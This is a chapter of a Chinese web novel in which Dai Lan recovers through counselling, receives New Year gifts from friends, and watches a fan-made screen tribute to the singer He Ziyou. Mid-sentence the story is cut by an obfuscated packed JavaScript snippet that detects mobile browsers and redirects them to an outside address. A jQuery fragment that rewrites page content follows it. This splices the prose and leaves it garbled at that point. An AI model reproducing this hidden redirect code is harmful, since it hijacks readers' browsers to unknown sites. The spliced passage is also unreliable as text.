麻雀衔起幕布一角,她眼前天边从月落瑾瑜色开始模糊成佛头青,而后是色盘上来回碾过的绀宇与柔蓝,混涂上她隔着玻璃观察的眼睛。 时间来到六点,浓墨重彩被水搅淡,极速抹上素裳,只为迎头点上朝阳亮色。 代澜旁观一切,黑夜将麻木错乱荒唐的烦恼为她一件件披上,像腐朽树木上覆盖了许多杂草或是青苔,更是焦虑的枷锁。 然后她跟随麻雀的步伐将从今往后多余的壳一件件褪下,让朝阳吻合月华曾来过的地方,取代锁骨至指尖所有冰凉,最后才放过自己,让忍耐整夜的背脊释怀,躺倒在床上。 因药物作用陷入安睡之前,代澜抱着手机只略微犹豫,点开了何子游的对话框。 “第四条,我会给自己时间。” - 很快就是过年。 和父母的相处重新步入冷静期,非必要时候也不会多说一句,不过在咨询师的帮助下,代敬勉强接受了女儿对他冷漠至此的现状,两方沟通依旧靠着谈雪梅做桥梁,平静也许是另一种方式的波涛汹涌。 好在网络上是热闹的。 包括但不限于辛穗和《指尖恋人》的进一步火爆,以及见不到面的敬老院社工小组。 虽然各处分散,但代澜竟然收到了来自宋汝然和高荔的春节礼盒。 宋汝然送的是工作室套装,外加一瓶亲自挑选的香水,配的小卡片上龙飞凤舞地写着新春祝福,以及一小段个人祈愿。 “……想小澜宝宝噜,这款香水和你好像,希望你也喜欢!……以后的每个春节都希望有你在~” 明明宋汝然的字体潇洒干练,可写出来的每句话都腻得要命,代澜看信时脑袋里想着的都是她的语气,倒也不突兀了。 高荔寄来的是家里的土特产,看群里和大家聊的,应该是每人都收到了一份。 打开快递箱第一眼便是写着“新年好”的便利贴。 寄礼物的两人显然都将见字如面贯彻到底,代澜这么想着,将土特产一份一份拿出,却在箱底发现一份显然是特意包装过的礼品袋。 这是什么? 她拆开封口纸,里面竟是一盒唇膜,还有一管护手霜,光看外包装便知道价格不菲,代澜屏息,捏出夹在之间的便利贴。 “看见你嘴唇上经常起皮,晚上涂点唇膜可以润润……双手这么好看,冬天也要好好爱护。” 想过高荔细心,但是没想过她还会这么照顾她。 代澜为这些礼物心暖,当下就发了信息感谢,宋汝然直说让她不要因为价格烦心,真要觉得感谢,回去了给她亲亲足够,而高荔这边似乎有事在忙,隔了半天才答复。 发来的是一小段在外看烟花的视频,还有一只手伸到镜头前比耶, 代澜猜是片场,正当她以为这只是简单的视频要退出时,结尾伴随烟花绽放,是高荔放声,生怕这位唯一听众听不见似的。 一句便将所有涌动的不安堵在墙以外。 “你值得!” - 新春的喜气让城市处处添上颜色,街头巷尾播着贺曲,已是初五,商业街依旧人头攒动。 代澜被黑色长款羽绒服一直包裹至膝盖以下,粗毛线织成的围巾遮住她的小半张脸,埋头穿梭在热闹的人群之间,有些格格不入,又或是像与世隔绝,颅内还在复盘方才做心理咨询的内容。 她和咨询师的关系一直很融洽。 在漫长而浓郁的蓝色锁得她喘不过气时,和咨询师每周一次的探讨成了唯一催促代澜回头看看自己的机会。 只是如今她在外地工作,回来得少,重拾自我的时刻便更少了。 楼宇之间的风口,代澜顶着往前走。 刚刚咨询师听她说过去一个月发生的事情,露出的欣慰表情因为能读到真心而更印象深刻:“恭喜你,这是好的开始。” “好的开始?”代澜喃喃,沉浸在方才麻木回顾中转不过弯。 “是啊,你在慢慢挖掘你内心的力量,而这些力量会成为你成长的动力,”咨询师坐在她的右侧方,相隔不远,认真倾听给予解答,“听上去你也遇到了很不错的朋友,我为你高兴,祝贺你。” 朋友吗…… 放在口袋里的双手不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13659231|132767||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自觉握紧,脑海里闪过很多人。 辛穗、吴楠涛、宋汝然、余渔、高荔、徐扬帆、苏恩怡…… 红绿灯将代澜拦在斑马线前,从各处涌来许多路人,几个女生叽叽喳喳却一点不讨人嫌,反倒是青春的亮色让她们格外动人。 “片子几分钟轮一次?看看超话……” “啊!来了来了!快拍呀!” 在场等待绿灯的人都忍不住好奇,抬头望向左前方高楼外设置的大屏,这当中自然也包括代澜。 红与黑流连闪现,男人眉眼间的锐意与她亲眼常见温柔形成剧烈反差。 身后传来惊叹。 绿灯亮了,路人匆匆经过她身旁,可代澜的脚步却没能挪动半分。 大屏似乎是粉丝自制投放,从让何子游爆火的吉他自作曲开始,跟随镜头扫过指尖,熟悉乐曲宛若流水叮咚倾入心扉。 随后是过去十年片段逐一闪现。 从刚出道MV里的青涩,到夺下金耳新人奖时的意气风发,众人以为他只是转瞬即逝的烟火,殊不知只是高调夺奖后的蛰伏。 代澜昂头看的大屏里出现一行小字“他们说你不过流星……”,所配的画面是狗仔公开爆料的视频。 霎时有关那年记忆涌上心头,当时何子游获奖后被所谓业内大拿冷嘲热讽不过撞大运,闹得风风火火,热搜缠缠绵绵在高处好几天,结果几日后,何子游被拍到出现在工作室楼下。 偷窥视角看他黑皮衣被风随性身后,由于隔太远,镜头放大只能看见毛线帽将刘海压得不见眼,长腿迈步匆忙,穿过灯红酒绿,转头就上了一辆奔驰大G。 镜头画面显示狗仔刚想撤走,谁知视频突然停顿标红色警示感叹号,提醒观众注意,再播放时,镜头里倏然闯入方才那辆奔驰大G,旁边狗仔急切嚷:“推过去推过去!” 晃动画面里,坐在奔驰大G副驾的男人一臂撑在车窗上,他帽子早摘下,黑色口罩将眉眼凸显深邃,在飞瞬的光影里好似潜伏已久的野狼,连同那点小痣清冷。 谁也不知道他是从什么时候开始精准捕捉到将其视作猎物之人,挑眉后瞬间反客为主,让人几秒内凭空生怯,随后又在狗仔惊慌失措间蓦地发笑,挑衅猖狂,乘风而去。 视频一经发布,引起轩然大波,可狗仔欲意引导舆论批判其恃才傲物的算盘没成,反倒给何子游吸了一波狂粉,与初始那些反派言论作斗争。 顽固派面对和自由这股新潮自然不愿后退,纷纷表示且看他未来新歌,便知分晓。 结果此后发行的第一张正规专辑《裂变》,一经推出即震惊业内,甚至国际,至此开启“只要和自由发歌,那年奖项基本无望”的“最年轻歌皇”传说。 …… 她将记忆收回,眼前从被剪出的挑眉瞬间转换至他在歌坛得心应手,谦与狂拉扯到极致的片段,节选自他所作歌曲的燥鼓点和筝韵并行呼应,收放自如。 直到最后大屏闪出“0428风暴神·全国巡回演唱会”,金色大篇幅占据视线,她才发现自己已经完全被带入他一路疾行中。 身后传来兴奋的轻呼声。 怎么会不讨人喜欢呢?